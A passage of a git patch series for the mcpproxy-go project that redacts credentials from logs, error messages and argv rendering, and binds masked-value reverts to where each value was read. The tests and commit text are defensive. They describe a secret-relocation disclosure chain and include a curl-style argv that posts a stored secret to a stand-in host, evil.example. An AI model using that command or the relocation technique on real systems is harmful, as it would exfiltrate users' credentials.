c.config.URL)) + zap.String("url", c.logSafeURL())) // Mark OAuth as in progress (local state, coordinator handles cross-goroutine coordination) c.markOAuthInProgress() @@ -642,7 +642,7 @@ func (c *Client) trySSEOAuthAuth(ctx context.Context) error { } logger.Debug("🔐 Attempting SSE OAuth authentication", - zap.String("url", c.config.URL)) + zap.String("url", c.logSafeURL())) // Mark OAuth as in progress c.markOAuthInProgress() @@ -2093,7 +2093,7 @@ func (c *Client) emptyClientIDFlowError(authURL, correlationID string, dcrErr er } c.logger.Error("❌ OAuth provider requires a client_id but none is available (DCR unsupported or failed)", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.NamedError("dcr_error", dcrErr), zap.String("help", "Register an OAuth app with the provider and set oauth.client_id in the server config")) details := &contracts.OAuthErrorDetails{ diff --git a/internal/upstream/core/connection_url_redact_test.go b/internal/upstream/core/connection_url_redact_test.go new file mode 100644 index 000000000..7f8c7196c --- /dev/null +++ b/internal/upstream/core/connection_url_redact_test.go @@ -0,0 +1,48 @@ +package core + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/assert" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// TestLogSafeURL_RedactsQueryCredentials covers the SOURCE half of issue #1148 +// (c2). Connect() logged zap.String("url", c.config.URL) into both main.log and +// the per-server server-.log, so a URL-embedded credential +// (`https://host/mcp?token=…`, an Azure SAS `sig=`, an AWS `X-Amz-Signature=`) +// was written to disk on every connection attempt — and `tail_log` then handed +// those lines to any MCP caller. +// +// Scrubbing at the tail_log read seam is necessary but not sufficient: the file +// itself is readable by anything with disk access, and it outlives the process. +func TestLogSafeURL_RedactsQueryCredentials(t *testing.T) { + cases := []struct { + name string + url string + secret string + }{ + {"token query param", "https://host/mcp?token=urlsecret999", "urlsecret999"}, + {"azure sas signature", "https://host/mcp?sig=sasSECRET123", "sasSECRET123"}, + {"access token", "https://host/mcp?access_token=at-SECRET-42", "at-SECRET-42"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + c := &Client{config: &config.ServerConfig{Name: "srv", URL: tc.url}} + got := c.logSafeURL() + assert.NotContains(t, got, tc.secret, "the configured URL must never be logged with its credential") + assert.True(t, strings.HasPrefix(got, "https://host/mcp"), "the diagnostic part of the URL must survive, got %q", got) + }) + } + + // A credential-free URL is untouched, so ordinary debugging is unaffected. + plain := &Client{config: &config.ServerConfig{URL: "https://host/mcp?debug=1"}} + assert.Equal(t, "https://host/mcp?debug=1", plain.logSafeURL()) + + // An empty URL (stdio servers) stays empty rather than becoming a marker. + empty := &Client{config: &config.ServerConfig{}} + assert.Equal(t, "", empty.logSafeURL()) +} From b55b699bc568779a377f3b3f24ba70450a80fae7 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 07:38:44 +0300 Subject: [PATCH 2/4] fix(security): bind the argv unmask, and close the six sibling gaps the #1148 review found MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round-2 review of #1148. All nine findings were reproduced against the real code before anything was changed; eight are fixed, one was a request to enumerate rather than a defect. 1 (MAJOR, introduced by #1148). unmaskArgv reverted a masked argv token by VALUE with no binding, so a caller could relocate a stored credential anywhere in the vector. The sharper half is not execution — anyone who can patch a server can already exfiltrate env secrets by pointing `command` at a shell — it is RE-DISCLOSURE: a value masked because of the FLAG in front of it (`--api-key `) has no credential shape of its own, so moving it into a bare positional slot made the very next `upstream_servers list` hand it back in the clear. Masked read → relocate write → clear read-back undid all of #1148 over an endpoint that is unauthenticated by default. The revert is now bound to the INDEX it was masked at plus the flag that bound it, which is the same shape as the safeguards the sibling contracts already carry (UnmaskEnvValues / UnmaskHeaders bind to the map key; UnmaskURL refuses a new scheme/host). A reordered or resized vector no longer round-trips its masks — the caller resends the real values, which is the safe direction. The old "ambiguous mask" refusal is gone: positional binding resolves a collision correctly instead of giving up on it. 2 (MAJOR). inspect_quarantined — the sibling of the list_quarantined path #1148 fixed, one screen away — still rendered the raw GetConnectionStatus() map (last_error included) and raw ListTools errors into its response. The claim that it "emits tool analysis only" was wrong. Two response builders extracted and scrubbed. 3 (MAJOR). scrubUpstreamText applied the 512-byte ACTIVITY-STORE cap to LIVE reads, silently truncating every tail_log line and connection error. tail_log is the primary debugging surface and a long line is what an operator opens it for. The cap moved to scrubUpstreamTextForAudit; the live scrubber no longer truncates. 4 (MAJOR). Neither tokenPattern, secretPattern nor the `=` sweep has a `user:pass@` shape, so basic-auth passwords survived every free-form scrubber. Fixed at the source in oauth.RedactSensitiveData, so the REST last_error / health.detail / Diagnostic.Cause scrubbers inherit it too. 5 (MAJOR). redactArgvWith ran the value-shaped detector ALONE on unpaired tokens — it knows database connection strings, not `https://user:pass@host` or `?token=…`. So `--endpoint ` and a bare positional URL leaked on BOTH policies while `--endpoint=` was masked: the same inline-vs-space asymmetry #1146 round 3 fixed once. Unpaired tokens now go through redactStringWith, the same function the inline branch delegates to, so the spellings agree by construction. 6 (MAJOR). #1148 started masking oauth.client_secret on the MCP read surface without giving the write path anything to recognise the mask by, so an unedited echo through oauth_json — which REPLACES the block — persisted `••••42 (17 chars)` as the client secret. unmaskLiveOAuth reverts it, bound to the field. The contract is now stated in the docs: the argv mask is an MCP rendering, reverted only by the MCP write path; REST returns and accepts `args` unredacted and stays self-consistent, and contracts.OAuthConfig carries no client_secret at all. 7 (MINOR). With the detector off for contracted leaves, the LIVE surface returned `ghp_…` in the clear whenever it sat under a benign env/header name, while the audit policy masked it — and live is the surface an unauthenticated caller reads. The detector now also runs on live, but only over a leaf the name rule left BYTE-IDENTICAL, which is exactly the gap and deliberately spares #872's component-wise connection-string rendering (`postgres://u:••••(N chars)@host/db` stays readable and editable). Because that rendering is no longer oauth's, unmaskLiveEnv / Headers / URL reproduce it and run first on the write path, so closing the disclosure does not open the read-modify-write corruption. 8 (MINOR). internal/transport/http.go logged the raw cfg.URL on 14 sites — at Error level on the streamable-HTTP path, so it fired regardless of log level — plus the OAuth client_secret at Debug. #1148's "fixed at the source" claim covered only internal/upstream/core. logSafeURL mirrors the helper that package already has; the client_secret field is now a boolean. 9 (MINOR). Not a defect: enumerated on stdioAuthContext instead. Three paths change for stdio and all three make it behave as the API-key admin it is — principalFromContext ("" → "admin"), sessionPreflightScope (nil → a scope over the full server universe, which an admin is wholly inside) and CanRevealSecrets, which is the point of the change. Three more change shape with an identical outcome (code_execution's AuthInfo, direct-dispatch gates, the preflight record's empty UserID). The rest gate on agent/user identity and are untouched. The two substantive ones are pinned by a test. No REST or MCP schema changed, so no swagger regeneration. --- docs/configuration/upstream-servers.md | 28 +- internal/oauth/logging.go | 31 +- internal/server/mcp.go | 48 +-- internal/server/mcp_activity_args.go | 83 ++++-- .../mcp_secret_redaction_hardening_test.go | 279 ++++++++++++++++++ internal/server/mcp_secret_redaction_test.go | 21 +- internal/server/mcp_server_view.go | 242 +++++++++++++-- internal/server/server.go | 34 +++ internal/transport/http.go | 53 +++- internal/transport/http_url_redact_test.go | 51 ++++ 10 files changed, 772 insertions(+), 98 deletions(-) create mode 100644 internal/server/mcp_secret_redaction_hardening_test.go create mode 100644 internal/transport/http_url_redact_test.go diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index e16dae2bc..7033c5a06 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -158,9 +158,31 @@ masked values. Nothing else changes: every other operation an unauthenticated MCP client can perform today still works. Argument vectors are masked too: a credential passed as `--api-key sk-…` in -`args` is masked by flag name and by value shape, and a masked argument echoed -back through `args_json` is reverted to the stored value rather than persisted -over it. +`args` is masked by flag name, by value shape and — since the review round on +the same issue — by URL shape in every spelling (`--flag `, `--flag=` +and a bare positional token all mask `?token=…` and `https://user:pass@host`). + +A masked value echoed back on the write path is reverted to the stored value +rather than persisted over it, and every revert is **bound to where the value +was read from**: + +| Field | Bound by | +|-------|----------| +| `env_json` / `headers_json` | the map key | +| `url` | the stored scheme, host:port and username | +| `oauth_json` → `client_secret` | the field | +| `args_json` | the **index**, plus the flag that preceded it | + +The argv binding matters: `args_json` replaces the whole vector and the caller +also chooses `command`, so a revert matched by value alone would let a caller +move a stored credential into a command line of its own choosing — or into a +positional slot the read path does not mask, and read it back in the clear. A +reordered or resized vector therefore does **not** round-trip its masks; resend +the real values, or omit `args_json` when you are not changing the arguments. + +The argv mask is a rendering of the **MCP** read surface. The REST API returns +`args` unredacted and accepts it unchanged, so REST reads and writes remain +self-consistent; only the MCP write path reverts an MCP-rendered mask. ### How you edit them diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 6c22b622f..7b3779c1e 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -120,6 +120,21 @@ var tokenPattern = regexp.MustCompile(`(?i)(bearer\s+)[a-zA-Z0-9\-_\.]+`) // secretPattern matches common secret patterns. var secretPattern = regexp.MustCompile(`(?i)(secret|password|token|key)["']?\s*[:=]\s*["']?[a-zA-Z0-9\-_\.]+`) +// urlUserinfoPattern matches the `scheme://user:password@` prefix of a URL +// embedded in free-form text (issue #1148, review round 2). +// +// RedactURLQueryParams has masked the userinfo password since #872, but that +// function only ever sees a value the caller already knows is a URL. The +// free-form scrubbers — connection errors, tailed log lines, health.detail — +// see a URL buried in a sentence, and neither tokenPattern (bearer only) nor +// secretPattern (`=`) nor the `=` sweep below has any +// `user:pass@` shape, so a basic-auth password travelled through all of them in +// the clear. +// +// The username is deliberately kept: it is the operator's signal for WHICH +// credential failed, and it is not the secret. +var urlUserinfoPattern = regexp.MustCompile(`([a-zA-Z][a-zA-Z0-9+.\-]*://)([^\s/:@]+):([^\s/@]+)@`) + // RedactSensitiveData redacts sensitive information from a string. // It replaces tokens, secrets, and other sensitive data with redacted placeholders. func RedactSensitiveData(data string) string { @@ -127,8 +142,22 @@ func RedactSensitiveData(data string) string { return data } + // Redact URL userinfo passwords (scheme://user:pass@host). + result := urlUserinfoPattern.ReplaceAllStringFunc(data, func(match string) string { + groups := urlUserinfoPattern.FindStringSubmatch(match) + if len(groups) != 4 { + return match + } + // A ${keyring:…}/${env:…} reference is a label, not a secret; masking + // it would erase exactly what makes the line diagnosable. + if isConfigReference(groups[3]) { + return match + } + return groups[1] + groups[2] + ":***REDACTED***@" + }) + // Redact Bearer tokens - result := tokenPattern.ReplaceAllString(data, "${1}***REDACTED***") + result = tokenPattern.ReplaceAllString(result, "${1}***REDACTED***") // Redact secrets and passwords result = secretPattern.ReplaceAllStringFunc(result, func(match string) string { diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 9b5b91b2d..a5ceabb8c 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -3420,7 +3420,7 @@ func (p *MCPProxyServer) handleUpstreamServers(ctx context.Context, request mcp. if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamTextForAudit(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { // Issue #1148: the activity store persists in BBolt, streams over SSE // and is exported by `mcpproxy activity list`, so the response is @@ -3538,7 +3538,7 @@ func (p *MCPProxyServer) handleQuarantineSecurity(ctx context.Context, request m if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamTextForAudit(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { // Issue #1148: see the matching net in handleUpstreamServers. p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") @@ -4404,8 +4404,9 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ // Try to get connection status for diagnostics if c, exists := p.upstreamManager.GetClient(serverName); exists { - connectionStatus := c.GetConnectionStatus() - return mcp.NewToolResultError(fmt.Sprintf("Quarantined server '%s' failed to connect within %v timeout. Connection status: %v. This may indicate the server process is not running, there's a network issue, or the server is unstable (see issue #105).", serverName, connectionTimeout, connectionStatus)), nil + // Issue #1148 (round 2, finding 2): the status map carries + // last_error, which echoes the upstream URL with its credentials. + return mcp.NewToolResultError(inspectConnectionTimeoutError(serverName, connectionTimeout, c.GetConnectionStatus())), nil } return mcp.NewToolResultError(fmt.Sprintf("Quarantined server '%s' failed to connect within %v timeout. Client was never created, indicating the server may not be properly configured.", serverName, connectionTimeout)), nil @@ -4417,7 +4418,7 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ zap.String("server", serverName), zap.Error(result.err)) supervisor.RecordInspectionFailure(serverName) - return mcp.NewToolResultError(fmt.Sprintf("Connection wait failed: %v", result.err)), nil + return mcp.NewToolResultError(scrubUpstreamText(fmt.Sprintf("Connection wait failed: %v", result.err))), nil } client = result.client @@ -4451,21 +4452,11 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ // Force disconnect the client to update its state _ = client.Disconnect() - // Provide connection error information instead of failing completely - connectionStatus := client.GetConnectionStatus() - connectionStatus["connection_error"] = err.Error() - - toolsAnalysis = []map[string]interface{}{ - { - "server_name": serverName, - "status": "QUARANTINED_CONNECTION_FAILED", - "message": fmt.Sprintf("Server '%s' is quarantined and connection failed during tool retrieval. This may indicate the server process crashed or disconnected.", serverName), - "connection_info": connectionStatus, - "error_details": err.Error(), - "next_steps": "The server connection failed. Check server process status, logs, and configuration. Server may need to be restarted.", - "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", - }, - } + // Provide connection error information instead of failing + // completely — scrubbed, because both the status map's last_error + // and the raw ListTools error echo the upstream URL with its + // credentials (issue #1148, round 2, finding 2). + toolsAnalysis = inspectConnectionFailedAnalysis(serverName, client.GetConnectionStatus(), err) } else { // Successfully retrieved tools, proceed with security analysis for _, tool := range tools { @@ -5204,7 +5195,9 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest // #872: the read path masks URL query/userinfo secrets; if a caller // echoes the masked url back, restore the stored real secrets so the // mask is never persisted over them (parity with the REST PATCH path). - patch.URL = oauth.UnmaskURL(url, existingServer.URL) + // #1148 round 2: unmaskLiveURL recognises THIS surface's rendering + // first, then defers to oauth.UnmaskURL for a genuinely edited URL. + patch.URL = unmaskLiveURL(url, existingServer.URL) } if protocol := request.GetString("protocol", ""); protocol != "" { patch.Protocol = protocol @@ -5279,7 +5272,10 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } // #872: revert any masked env value echoed back by the caller. - patch.Env = oauth.UnmaskEnvValues(patch.Env, existingServer.Env) + // #1148 round 2: the live view can mask a value oauth's name rule left + // alone (a vendor-shaped credential under a benign name), so this + // surface's own rendering is recognised first. + patch.Env = oauth.UnmaskEnvValues(unmaskLiveEnvValues(patch.Env, existingServer.Env), existingServer.Env) } // Handle headers JSON string - maps are deep merged with RFC 7396 null-means-remove @@ -5303,7 +5299,8 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } // #872: revert any masked header value echoed back by the caller. - patch.Headers = oauth.UnmaskHeaders(patch.Headers, existingServer.Headers) + // #1148 round 2: see the env note above. + patch.Headers = oauth.UnmaskHeaders(unmaskLiveHeaders(patch.Headers, existingServer.Headers), existingServer.Headers) } // Handle isolation JSON string - deep merge for nested config @@ -5359,6 +5356,11 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(oauthJSON), &oauth); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json format: %v", err) } + // #1148 round 2 (finding 6): list_quarantined renders the WHOLE + // config, so client_secret is masked on the read surface — and + // oauth_json REPLACES the block, so an unedited echo would persist + // the mask over the real secret. Revert it, bound to the field. + unmaskLiveOAuth(&oauth, existingServer.OAuth) if err := oauth.Validate(); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json: %w", err) } diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index c4603d3af..4734e34cf 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -290,21 +290,31 @@ type redactionPolicy struct { // limit caps each string leaf, or 0 for no cap. limit int // detectContractedLeaves runs the value-shaped secret detector over the - // THREE leaf kinds internal/oauth owns a write-path unmask contract for: - // env values, header values and the server URL. + // THREE leaf kinds internal/oauth owns a write-path unmask contract for — + // env values, header values and the server URL — EVEN WHEN the name/URL + // rules already rewrote them. // - // Those three must render EXACTLY as oauth.maskedEnvValue / - // maskedHeaderValue / RedactURLQueryParams do, because - // oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL recognise an echoed - // mask by comparing against that rendering byte for byte. A live surface - // that rendered them any other way would make a read-modify-write client - // persist the mask OVER the real secret — so live surfaces turn this off - // and inherit oauth's coverage (which already includes - // RedactSensitiveData) for those three. + // Only the audit policy sets it. Those rows are never written back, so + // nothing constrains their rendering and maximal masking wins. + // + // A LIVE surface cannot mask unconditionally: oauth.UnmaskEnvValues / + // UnmaskHeaders / UnmaskURL recognise an echoed mask by comparing against + // oauth's own rendering byte for byte, and #872 deliberately renders a + // connection string component-wise (`postgres://u:••••(N chars)@host/db`) + // so an operator can edit the database name without the password mask + // being persisted as the password. + // + // It does NOT follow that a live surface must skip the detector entirely, + // which is what round 2 finding 7 caught: a vendor-shaped credential under + // a benign name (`env: {BENIGN: ghp_…}`) is invisible to the name matcher, + // so the audit policy masked it while the LIVE surface — the one an + // unauthenticated /mcp caller reads — published it. See detectContracted + // for the narrow rule that closes it, and unmaskLive* in + // mcp_server_view.go for the matching write-path revert. // // Every OTHER leaf — argv tokens, and any present or future string field - // of ServerConfig — is detector-masked unconditionally: nothing unmasks - // those, so there is no contract to honour and maximal masking wins. + // of ServerConfig — is detector-masked unconditionally under both + // policies: nothing unmasks those, so there is no contract to honour. detectContractedLeaves bool } @@ -410,7 +420,7 @@ func redactStringWith(key, s string, r redactionPolicy) string { case isActivityHeadersKey(key): return redactHeaderValueWith(key, s, r) case strings.EqualFold(key, "url"): - return r.capString(r.detectContracted(oauth.RedactURLQueryParamsWith(s, r.mask))) + return r.capString(r.detectContracted(s, oauth.RedactURLQueryParamsWith(s, r.mask))) default: // An UNCONTRACTED leaf: a plain config field, a future field, or an // argv token's value. Nothing unmasks these, so the detector always @@ -425,16 +435,32 @@ func redactStringWith(key, s string, r redactionPolicy) string { // rendering if a client echoes it back on the write path. func redactEnvValueWith(name, value string, r redactionPolicy) string { masked := oauth.RedactEnvValuesWith(map[string]string{name: value}, r.mask)[name] - return r.capString(r.detectContracted(masked)) + return r.capString(r.detectContracted(value, masked)) } -// detectContracted runs the value-shaped detector only for a policy that opted -// in for the contracted leaves. See redactionPolicy.detectContractedLeaves. -func (r redactionPolicy) detectContracted(s string) string { - if !r.detectContractedLeaves { - return s +// detectContracted runs the value-shaped detector over a leaf that +// internal/oauth owns a write-path unmask contract for (env value, header +// value, server URL). `original` is the value before the name/URL rule ran, +// `masked` the value after. +// +// AUDIT: always. Nothing writes back through an audit row. +// +// LIVE: only when the name/URL rule left the value BYTE-IDENTICAL (round 2 +// finding 7). That is exactly the reported gap — a credential the name matcher +// cannot see, like `ghp_…` under `BENIGN_NAME` — and the guard is what keeps it +// from collapsing the #872 component-wise connection-string rendering, whose +// readable scheme/host/db the operator's edit flow depends on. +// +// When the detector does fire on a live surface the rendering is no longer +// oauth's, so oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL can no longer +// recognise an echoed mask. unmaskLiveEnvValues / unmaskLiveHeaders / +// unmaskLiveURL (mcp_server_view.go) reproduce THIS rendering and run first on +// the write path, so the round trip still cannot persist a mask over a secret. +func (r redactionPolicy) detectContracted(original, masked string) string { + if !r.detectContractedLeaves && masked != original { + return masked } - return maskDetectedSecrets(s) + return maskDetectedSecrets(masked) } // redactHeaderValueWith masks one HTTP header leaf, judged by the header @@ -448,7 +474,7 @@ func (r redactionPolicy) detectContracted(s string) string { // both is the only combination that closes each other's gap. func redactHeaderValueWith(name, value string, r redactionPolicy) string { masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, r.mask)[name] - return r.capString(r.detectContracted(masked)) + return r.capString(r.detectContracted(value, masked)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -532,7 +558,20 @@ func redactArgvWith(argv []interface{}, r redactionPolicy) []interface{} { continue } - out[i] = r.capString(maskDetectedSecrets(s)) + // An unpaired token — a positional argument, a flag name, or the value + // of a flag whose name says nothing. Round 2 finding 5: this ran the + // value-shaped detector ALONE, which knows database connection strings + // but not `https://user:pass@host` or `https://host?token=…`. So + // `--endpoint https://host?token=…` and the bare positional spelling + // both emitted the credential verbatim while the identical + // `--endpoint=https://host?token=…` was masked — the same + // inline-vs-space asymmetry round 3 of #1146 already fixed once. + // + // Routing through redactStringWith with NO enclosing key is what keeps + // the two spellings in step by construction: it is the same function + // the inline branch delegates to, so the URL rule, the env-name rule + // and the detector all apply to every spelling. + out[i] = redactStringWith("", s, r) maskNext = isArgvFlag(s) && oauth.IsSensitiveKeyName(argvFlagKey(s)) } diff --git a/internal/server/mcp_secret_redaction_hardening_test.go b/internal/server/mcp_secret_redaction_hardening_test.go new file mode 100644 index 000000000..b50005a0b --- /dev/null +++ b/internal/server/mcp_secret_redaction_hardening_test.go @@ -0,0 +1,279 @@ +package server + +import ( + "context" + "encoding/json" + "errors" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// This file collects the round-2 review findings on issue #1148. Each test +// names the defect it reproduces; all of them fail on the unfixed tree. + +// --------------------------------------------------------------------------- +// Finding 1: unmaskArgv reverted a mask BY VALUE with no binding, so a caller +// could relocate a stored argv credential into an arbitrary command line — and, +// worse, into a slot the READ path does not mask, turning the masked surface +// back into a disclosure surface. +// --------------------------------------------------------------------------- + +func TestUnmaskArgv_RefusesToRelocateAStoredSecret(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} + masked := redactedArgs(stored, liveRedaction) + require.NotEqual(t, stored[2], masked[2], "precondition: the read path masks the credential") + + t.Run("mask moved to a different index is not reverted", func(t *testing.T) { + incoming := []string{"-X", "POST", "https://evil.example/x", "-d", masked[2]} + got := unmaskArgv(incoming, stored) + assert.NotContains(t, got, stored[2], "a relocated mask must never be substituted with the real secret") + assert.Equal(t, incoming, got) + }) + + t.Run("mask kept at its index but behind a different flag is not reverted", func(t *testing.T) { + incoming := []string{"mcp-foo", "--exfil-to", masked[2]} + got := unmaskArgv(incoming, stored) + assert.NotContains(t, got, stored[2], "the revert must be bound to the flag it was masked from") + }) + + t.Run("relocation cannot launder a secret into a slot the read path leaves clear", func(t *testing.T) { + // The disclosure chain the value-keyed revert enabled: read the masked + // args, send the mask back in a POSITIONAL slot, then read again — the + // value has no credential shape, so nothing masks it the second time. + incoming := []string{masked[2]} + afterWrite := unmaskArgv(incoming, stored) + readBack, err := json.Marshal(redactedArgs(afterWrite, liveRedaction)) + require.NoError(t, err) + assert.NotContains(t, string(readBack), stored[2], + "a masked-read → relocate-write → read-back round trip discloses the secret in the clear") + }) + + t.Run("an unedited echo at its own index still round-trips", func(t *testing.T) { + assert.Equal(t, stored, unmaskArgv(masked, stored)) + }) + + t.Run("an edit elsewhere in the vector still round-trips", func(t *testing.T) { + full := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} + maskedFull := redactedArgs(full, liveRedaction) + edited := append([]string(nil), maskedFull...) + edited[4] = "9090" + assert.Equal(t, []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "9090"}, + unmaskArgv(edited, full)) + }) +} + +// --------------------------------------------------------------------------- +// Finding 2: inspect_quarantined — the sibling operation of list_quarantined — +// still rendered raw connection errors and the raw GetConnectionStatus() map +// (last_error included) into its response. +// --------------------------------------------------------------------------- + +func TestInspectQuarantined_ScrubsConnectionDiagnostics(t *testing.T) { + secret := "urlsecret999" + status := map[string]interface{}{ + "state": "error", + "connected": false, + "last_error": "dial https://host/mcp?token=" + secret + ": connection refused", + } + connErr := errors.New("read tcp: upstream https://host/mcp?token=" + secret + " reset by peer") + + timeoutMsg := inspectConnectionTimeoutError("evil", 20*time.Second, status) + assert.NotContains(t, timeoutMsg, secret, "the timeout diagnostic republishes the raw connection status") + assert.Contains(t, timeoutMsg, "evil") + + analysis := inspectConnectionFailedAnalysis("evil", status, connErr) + encoded, err := json.Marshal(analysis) + require.NoError(t, err) + assert.NotContains(t, string(encoded), secret, "connection_info / error_details republish the raw error") + assert.Contains(t, string(encoded), "QUARANTINED_CONNECTION_FAILED") + + // The caller's own status map must not be mutated in place. + assert.Contains(t, status["last_error"], secret) +} + +// --------------------------------------------------------------------------- +// Finding 3: scrubUpstreamText hard-coded the 512-byte AUDIT cap, so it +// silently truncated LIVE tool output — every tail_log line and every +// connection error. +// --------------------------------------------------------------------------- + +func TestScrubUpstreamText_LiveReadsAreNotTruncated(t *testing.T) { + long := "connect failed: " + strings.Repeat("x", 4096) + + live := scrubUpstreamText(long) + assert.Equal(t, len(long), len(live), "tail_log is the primary debugging surface; long lines must survive") + + audit := scrubUpstreamTextForAudit(long) + assert.Less(t, len(audit), len(long), "the activity store keeps its size cap") + assert.True(t, strings.HasSuffix(audit, activityErrorMessageEllipsis)) +} + +// --------------------------------------------------------------------------- +// Finding 4: scrubUpstreamText did not remove URL userinfo credentials, so +// basic-auth passwords reached tail_log lines and connection errors. +// --------------------------------------------------------------------------- + +func TestScrubUpstreamText_MasksURLUserinfo(t *testing.T) { + got := scrubUpstreamText("dial https://alice:hunter2phrase@api.example.com/mcp: connection refused") + assert.NotContains(t, got, "hunter2phrase") + assert.Contains(t, got, "api.example.com", "the host must stay readable") + assert.Contains(t, got, "connection refused") + + // Fixed in oauth.RedactSensitiveData, so the REST last_error / health.detail + // scrubbers inherit it too. + assert.NotContains(t, oauth.RedactSensitiveData("https://svc:s3cr3tvalue@host/x"), "s3cr3tvalue") +} + +// --------------------------------------------------------------------------- +// Finding 5: redactArgvWith emitted URL-shaped argv tokens verbatim in the +// space-separated `--flag ` spelling and as a bare positional, on BOTH +// policies — while the inline `--flag=` spelling was masked. +// --------------------------------------------------------------------------- + +func TestRedactArgv_MasksURLCredentialsInEverySpelling(t *testing.T) { + for _, policy := range []struct { + name string + r redactionPolicy + }{{"live", liveRedaction}, {"audit", auditRedaction}} { + t.Run(policy.name, func(t *testing.T) { + cases := map[string][]string{ + "userinfo, space-separated": {"--endpoint", "https://alice:hunter2phrase@api.example.com/mcp"}, + "userinfo, bare positional": {"https://alice:hunter2phrase@api.example.com/mcp"}, + "userinfo, inline": {"--endpoint=https://alice:hunter2phrase@api.example.com/mcp"}, + "query, space-separated": {"--endpoint", "https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + "query, bare positional": {"https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + "query, inline": {"--endpoint=https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + } + for name, argv := range cases { + got := strings.Join(redactedArgs(argv, policy.r), " ") + assert.NotContains(t, got, "hunter2phrase", "%s leaks the userinfo password", name) + assert.NotContains(t, got, "SUPERSECRETTOKEN123", "%s leaks the query credential", name) + assert.Contains(t, got, "api.example.com", "%s: the host is the audit signal", name) + } + }) + } + + // Ordinary arguments still round-trip verbatim. + assert.Equal(t, []string{"mcp-foo", "--port", "8080", "https://api.example.com/mcp"}, + redactedArgs([]string{"mcp-foo", "--port", "8080", "https://api.example.com/mcp"}, liveRedaction)) +} + +// --------------------------------------------------------------------------- +// Finding 6: oauth.client_secret is masked on the MCP read surface +// (list_quarantined) but the MCP write path had no matching unmask, so an +// MCP-read → MCP-patch round trip persisted the MASK over the real credential. +// --------------------------------------------------------------------------- + +func TestUnmaskLiveLeaves_ProtectAReadModifyWriteRoundTrip(t *testing.T) { + stored := &config.ServerConfig{ + Name: "srv", + URL: "https://host/mcp?token=urlsecret999", + Env: map[string]string{"BENIGN_NAME": "ghp_abcdefghijklmnopqrstuvwxyz0123456789"}, + Headers: map[string]string{"X-Zyx": "ghp_zyxwvutsrqponmlkjihgfedcba9876543210"}, + OAuth: &config.OAuthConfig{ClientID: "cid", ClientSecret: "oauth-secret-4242"}, + } + view := redactedServerView(stored, liveRedaction) + + t.Run("client_secret", func(t *testing.T) { + oauthView, ok := view["oauth"].(map[string]interface{}) + require.True(t, ok) + masked, ok := oauthView["client_secret"].(string) + require.True(t, ok) + require.NotEqual(t, stored.OAuth.ClientSecret, masked, "precondition: the read path masks it") + + echoed := &config.OAuthConfig{ClientID: "cid", ClientSecret: masked} + unmaskLiveOAuth(echoed, stored.OAuth) + assert.Equal(t, stored.OAuth.ClientSecret, echoed.ClientSecret, + "an unedited echo must not persist the mask over the real client secret") + + edited := &config.OAuthConfig{ClientID: "cid", ClientSecret: "brand-new"} + unmaskLiveOAuth(edited, stored.OAuth) + assert.Equal(t, "brand-new", edited.ClientSecret) + }) + + t.Run("env and headers rendered by the live view", func(t *testing.T) { + envView, ok := view["env"].(map[string]interface{}) + 